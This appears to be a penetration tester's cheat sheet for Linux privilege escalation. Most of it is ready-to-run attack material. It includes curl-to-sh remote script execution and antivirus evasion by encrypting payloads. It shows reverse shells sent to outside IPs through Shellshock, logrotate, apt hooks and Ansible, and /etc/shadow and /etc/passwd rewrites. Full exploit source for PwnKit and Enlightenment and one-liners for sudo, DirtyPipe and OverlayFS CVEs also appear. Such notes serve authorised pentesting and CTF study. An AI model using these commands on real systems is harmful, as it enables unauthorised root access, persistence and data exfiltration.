01Linux
PrivilageEsc Linux
Linux Privilege Escalation Scripts
01. LinPEAS
- Remote Network
bash3 lines
## ------------------| Remote download and execrute from Githubcurl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | shwget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh- Local Network
bash11 lines
## ------------------| Local Networkcurl 10.10.10.10/linpeas.sh | sh
## ------------------| Without CURLsudo nc -q 5 -lvnp 80 < linpeas.sh #Hostcat < /dev/tcp/10.10.10.10/80 | sh #Victim
## ------------------| Excute from memory and send output back to the hostcurl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victimwget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victimnc -lvnp 9002 | tee linpeas.out #Host- Output Format
bash3 lines
## ------------------| Output to file./linpeas.sh -a > /dev/shm/linpeas.txt #Victimless -r /dev/shm/linpeas.txt #Read with colors- AV Bypass
bash9 lines
## ------------------| open-ssl encryptionopenssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.encsudo python -m SimpleHTTPServer 80 #Start HTTP servercurl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim
## ------------------| Base64 encodedbase64 -w0 linpeas.sh > lp.encsudo python -m SimpleHTTPServer 80 #Start HTTP servercurl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim02. LinEnum
- Remote Network
bash2 lines
## ------------------| Remote download and execrute from Githubcurl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh- Local Network
bash3 lines
./LinEnum.sh -r report.out -t# -t <-- Include thorough (lengthy) tests# -e /dev/shm/ <-- Export all info by separate one by one03. Linux Exploit Suggester 2
bash1 line
./linux-exploit-suggester-2.pl -k <KernalVersion>04. Linux Smart Enumeration
bash1 line
./lse.sh -l 2 -i05. PSPY
-Linux process snooping [unprivileged]
- Download
bash8 lines
## ------------------| print both commands and file system events and scan procfs every 1000 ms (=1sec)./pspy64 -pf -i 1000
## ------------------| place watchers recursively in two directories and non-recursively into a third./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir
## ------------------| disable printing discovered commands but enable file system events./pspy64 -p=false -f06 Common exploits
06.0 Abusing Shell Features
bash12 lines
## ------------------| If bash < 4.2-048 we can inject to absolute path aswell./bin/sh --versionstrace -v -f -e execve /path/to/file 2>&1 | grep execfunction /path/to/service { /bin/bash -p; }export -f /path/to/service/path/to/file
## ------------------| If bash < 4.4 (Bash debug ps4)/bin/sh --versionenv -i SHELLOPTS=xtrace PS4='$(whoami)' /path/to/fileenv -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/vulnbash; chmod +s /tmp/vulnbash)' /path/to/file/tmp/vulnbash -p06.1 Shellshock
text3 lines
Date patched : 24 September 2014Date discovered : 12 September 2014Affected software : Bash (1.0.3–4.3)bash16 lines
h4rithd='() { :; }; echo sh0ck' bash -c :h4rithd='() { :;}; echo sh0ck' bash -c :# If print sh0ck; does look like vulnerable to shell shok# to verifyh4rithd='echo sh0ck' bash -c :# Nothing print
# Pik any env variableenvLOGNAME='() { :;}; echo sh0ck' sudo /root/troll
## ------------------| With user agentcurl -A '() { :; }; echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.26/4545 0>&1' http://127.0.0.1/cgi-bin/stats### orcurl -so shellshock.py https://www.exploit-db.com/raw/34900python shellshock.py payload=reverse rhost=10.10.14.26 lhost=127.0.0.1 lport=4545 pages=/cgi-bin/stats06.2 LXD
bash29 lines
## ------------------| Find local user account is part of lxd groups.id
## ------------------| clone the repository and build the build-alpine imggit clone https://github.com/saghul/lxd-alpine-builder.gitcd lxd-alpine-buildersudo ./build-alpine## ------------------| For 32 bit use -a i386 or -a i686mv alpine-v* alpine.tar.gzls -al
## ------------------| Start web serverpython3 -m http.server 80
## ------------------| Download the file on attacker machine.cd /dev/shmwget 10.10.14.26/alpine.tar.gz
## ------------------| Execute and gain root shelllxc image import ./alpine.tar.gz --alias h4rithdlxc image listlxc init h4rithd ignite -c security.privileged=true### if above command get error, try lxd initlxc listlxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/shidcd /mnt/root06.3 logrotate
bash8 lines
wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.cgcc -o logrotten logrotten.c
echo "bash -i >& /dev/tcp/10.10.14.26/4545 0>&1" > shell.shchmod +x shell.shecho "test">>/<path>/access.log; ./logrotten <path>/access.log -dcp $(pwd)/shell.sh /etc/bash_completion.d/access.logcat /etc/bash_completion.d/access.log06.4 If you have or can?
- If you have
LD_PRELOADinenv_keepvariable?
bash18 lines
## ------------------| Check if env_keep variable has LD_PRELOAD?sudo -l
## ------------------| Create C code compiled as a share object (.so extension) file#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p");}
## ------------------| Complie the c code to share object (.so extension)gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
## ------------------| Executesudo LD_PRELOAD=/tmp/shell.so <Programe_Listed_in_sudo-l>- If you have
LD_LIBRARY_PATHinenv_keepvariable?
bash24 lines
## ------------------| Check if env_keep variable has LD_PRELOAD?sudo -l
## ------------------| Create C code compiled as a share object#include <stdio.h>#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p");}
## ------------------| Complie the c code to share object (.so extension)gcc -o /tmp/library_path.so -shared -fPIC library_path.c
## ------------------| Hijacking shared objects libcrypt.so.1## Run ldd against the (sudo -l) programs file to get anothermv /tmp/library_path.so /tmp/libcrypt.so.1
## ------------------| Executesudo LD_LIBRARY_PATH=/tmp/ <Programe_Listed_in_sudo-l>- If you have
SETENVinsudo -l?
bash5 lines
## ------------------|Checksudo -l | grep SETENV
## ------------------| Executesudo PATH=/<PATH>/:$PATH /script.sh- Do we have
no_root_squashin/etc/exports
bash10 lines
### If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system## ------------------| Check if no_root_squash is present?cat /etc/exports | grep no_root_squash
## ------------------| List mounts and mount it to our local machineshowmount -e <IP>sudo mkdir -p /mnt/newsudo mount -t nfs <IP>:/<WritableShares>/mnt/new
### Create a SUID binary and place it. then execuite it via attackers machine.- If you have write permission to
/etc/sudoersfile?
bash4 lines
### Get current user using whoami command, then enter the following lineusername ALL=(ALL) NOPASSWD: ALL
### Then run sudo su -- If you have write permission to
/etc/shadowfile?
bash14 lines
## ------------------| Create passwordopenssl passwd -6 -salt h4rithd h4rithd123### -1 --> MD5### -5 --> SHA256### -6 --> SHA512### also you can use it with out salt flag
### Replace the password in /etc/shadow (h4rithd123)$6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy.igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0
sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow
## ------------------| one line : h4rithd123sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow- If you have write permission to
/etc/passwd?
bash8 lines
## ------------------| Create passwordopenssl passwd -1 -salt h4rithd Password123 # ->> $1$h4rithd$wXIyqYpzYefGzryBsTFSU/
## ------------------| Edit the passwd fileecho 'h4rithd:$1$h4rithd$wXIyqYpzYefGzryBsTFSU/:0:0:root:/root:/bin/bash' >> /etc/passwd
## ------------------| Login to the user h4rithdsu h4rithd ## Password123- Can run
apache2as root user?
bash3 lines
## ------------------| Read the shadow filesudo apache2 -f /etc/shadow## then crack it- If you are in **
video** group
bash5 lines
## The video group has access to view the screen output.## Use w command and find is there any tty1 session (physically logged)cat /dev/fb0 > /tmp/screen.raw ## Copy that file to host machine.cat /sys/class/graphics/fb0/virtual_size ## Use this as resolution.## Open photo using gimp as "RAW image data" and set color mode as RGB565- If you are in
dockergroup
bash5 lines
## ------------------| List docker imagesdocker images | awk '{print $1}' | sed '1d'
## ------------------| Use one of image and get rootdocker run -v /:/mnt --rm -it <img_name> chroot /mnt sh- If you have
apt updateon/etc/crontab
bash3 lines
## ------------------| Create pre-invoke scriptecho '/bin/bash -c "/bin/bash -i >& /dev/tcp/<LHOST>/4545 0>&1"' | base64 -w0echo 'APT::Update::Pre-Invoke {"echo L2Jpbi9 | base64 -d | bash"}' > /etc/apt/apt.conf.d/000shell- If
sudo -lonly forapt-get updateorapt-get upgrade?
bash2 lines
## Watch this videohttps://youtube.com/watch?v=EXuEDHFjS9E&t=2070- If you see
jdwprun as privilege user ??
bash16 lines
## ------------------| First you need to port forwordssh -L 8000:127.0.0.1:8000 user@ip
## ------------------| Using jdwp-shellifier [Best Methord]git clone https://github.com/IOActive/jdwp-shellifiercd jdwp-shellifier### Create reverse shell on /tmp/shell.sh (Victem's machine)python2 jdwp-shellifier.py -t 127.0.0.1 --break-on "java.lang.String.indexOf" --cmd "/tmp/shell.sh"
## ------------------| Attached remote port [Connection is not persistence]jdb -attach 8000> classpath ### List class path> classes ### List classes> threads ### List all threads> stop in java.lang.String.indexOf(int) ### Set brakepoint print new java.lang.Runtime().exec("/bin/touch /tmp/hello.txt")- If you are in
diskgroup ?
bash23 lines
## ------------------| Check if you are in disk group.groups | grep -oP disk
## ------------------| Check if you have R/W permission on sds.ls -la /dev/sd*
## ------------------| Check which one belongs to me.mount | grep '^\/dev'
## ------------------| Try to read itstrings /dev/sda1 | grep root.txtdebugfs /dev/sda1 ## then use ls commands.
## ------------------| If you do not have access; Check if it link to any otherls -al /dev/mapper/Kotarak--vg-root ##Suppose I get an "/dev/dm-0" in response.
## ------------------| Send file using netcatnc -lvnp 8002 > disk.img.gz ## on attacker's machinedd if=/dev/dm-0 | gzip -1 - | nc <attackers'IP> 8002
## ------------------| Mout the image file to our machinegunzip disk.img.gzmount disk.img /mntbash13 lines
## ------------------| Check which file we have write permission onfind /etc -writable -ls 2>/dev/nullls -al /etc/fail2ban/action.d/
## ------------------| Expolit### Replace "actionban = shell" on /etc/fail2ban/action.d/iptables-multiport.confsed 's/actionban =.*/actionban = chmod u+s \/bin\/bash/g' /etc/fail2ban/action.d/iptables-multiport.conf > config.confrm -f /etc/fail2ban/action.d/iptables-multiport.confmv config.conf /etc/fail2ban/action.d/iptables-multiport.confsudo /etc/init.d/fail2ban restarthydra <IP> ssh -l root -P /usr/share/wordlists/rockyou.txtls -l /bin/bashbash -p- Can you run gdb (debug)?
bash10 lines
## ------------------| Find process which run under root prvps -aux | grep root | grep "python"
## ------------------| Attach the gdb instance to that specific process IDgdb -p
## ------------------| Hook/Call the processcall (void)system("chmod u+s /bin/bash")quitebash -p- If you can read
.Xauthorityfile?
bash16 lines
## ------------------| Check if it contain MIT-magic-cookie-1xxd .Xauthority
## ------------------| Check what display is currently connected (:0)w
## ------------------| Verify CookieXAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0XAUTHORITY=/tmp/.Xauthority xwininfo -root -tree -display :0
## ------------------| Take ScreenshotXAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/capture.xwd
## ------------------| Convertsudo apt install imagemagick -yconvert capture.xwd capture.png- If you can run
dstattool as sudo
bash8 lines
## ------------------| Find configuration settingsfind / -type d -name dstat 2>/dev/null
## ------------------| Assume the location is "/usr/local/share/dstat"echo "import os;os.system('sudo chmod +s /usr/bin/bash')" > /usr/local/share/dstat/dstat_h4rithd.pydstat --list | grep h4rithdsudo -u root /usr/bin/dstat --h4rithdbash -p- If we can run any
doas
bash5 lines
## ------------------| Find configuration settingsfind / -type f -name doas.conf 2>/dev/null
## ------------------| run as another userdoas -u root /usr/bin/bash06.5 SUDO Vulnerability
bash2 lines
## Sudo 1.8.27 - Security Bypass (CVE: 2019-14287)sudo -u#-1 /bin/bashbash4 lines
## Sudo Baron Samedit Exploit | CVE-2021-3156## versions 1.7.7 through 1.7.10p9, 1.8.2 through 1.8.31p2, and 1.9.0 through 1.9.5p1 are affected.sudoedit -s '\' `perl -e 'print "A" x 65536'`## If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerablebash7 lines
## ------------------| Affected sudo versions: 1.8.0 to 1.9.12p1sudo -V
## ------------------| Exploitexport EDITOR="vim -- /etc/passwd"sudoedit /etc/motd### change any user group to 0bash4 lines
## ------------------| Affected sudo versions: v1.9.14 to 1.9.17wget https://raw.githubusercontent.com/pr0v3rbs/CVE-2025-32463_chwoot/refs/heads/main/sudo-chwoot.shchmod +x sudo-chwoot.sh./sudo-chwoot.sh06.6 Ansible
bash5 lines
## ------------------| Reverse Shell- hosts: localhost tasks: - name: rev shell: bash -c 'bash -i >& /dev/tcp/<LHOST>/4545 0>&1'06.7 PwnKit [CVE-2021-4034]
bash32 lines
## ------------------| Affected versions: 0.95 through 0.118pkexec --version
## ------------------| Expolit#include <stdio.h>#include <stdlib.h>#include <unistd.h>
char *shell = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}";
int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env);}### gcc -o exploit exploit.c06.8 OverlayFS 2021 [CVE-2021-3493]
bash13 lines
## ------------------| Affected Versions,Ubuntu 20.10Ubuntu 20.04 LTSUbuntu 19.04Ubuntu 18.04 LTSUbuntu 16.04 LTSUbuntu 14.04 ESM
## ------------------| Expolitssh## Or you can download it from here: https://github.com/h4rithd/PrecompiledBinaries/tree/main/CVE-2021-3493gcc exploit.c -o exploit./exploit06.9 DirtyPipe [CVE-2022-0847]
bash18 lines
## ------------------| Abstract## Vulnerability in the Linux kernel since 5.8 which allows overwriting data in arbitrary read-only files## The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.## Precompiled --> https://github.com/h4rithd/PrecompiledBinaries/tree/main/DirtyPipe
## ------------------| Add root userwget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.cgcc -o dpipe exploit.c./dpipesu root # password : aaron
## ------------------| Change SUID binarywget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.cgcc -o dpipe exploit-2.c## find SUID Binaryfind / -perm -4000 -ls 2>/dev/null## Execute it as /usr/bin/pkexec./dpipe /usr/bin/pkexec06.10 Enlightenment [CVE-2022-37706]
bash18 lines
## ------------------| Expofile=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)if [[ -z ${file} ]]then echo "[-] Couldn't find the vulnerable SUID file..." echo "[*] Enlightenment should be installed on your system." exit 1fi
echo "[+] Vulnerable SUID binary found!"echo "[+] Trying to pop a root shell!"mkdir -p /tmp/netmkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploitchmod a+x /tmp/exploitecho "[+] Enjoy the root shell :)"${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net06.11 OverlayFS 2023 [CVE-2023-0386]
bash13 lines
## ------------------| Affected Versions, if kernel version is lower than 6.2uname -r
## ------------------| Expolitsgit clone https://github.com/xkaneiki/CVE-2023-0386.git## or you can download precompiled binary from here: https://github.com/h4rithd/PrecompiledBinaries/edit/main/CVE-2023-0386sudo apt-get install libfuse-dev libcap-devcd CVE-2023-0386make all### Start two terminals and enter in the first terminal./fuse ./ovlcap/lower ./gc### In the second terminal enter./exp06.12 GameOver(lay) [CVE-2023-2640 & CVE-2023-32629]
bash11 lines
## ------------------| My oneunshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash -i\")'"
## ------------------| Original poc payloadunshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
## ------------------| Adjusted poc payload by twitter user; likely false positiveunshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"06.13 Other
elixir2 lines
## USBCreator D-Bus Privilege Escalation in Ubuntu Desktopgdbus call -y -d com.ubuntu.USBCreator -o /com/ubuntu/USBCreator -m com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /dev/shm/rootkey true07 Kernel Privesc
- Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
- Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)****
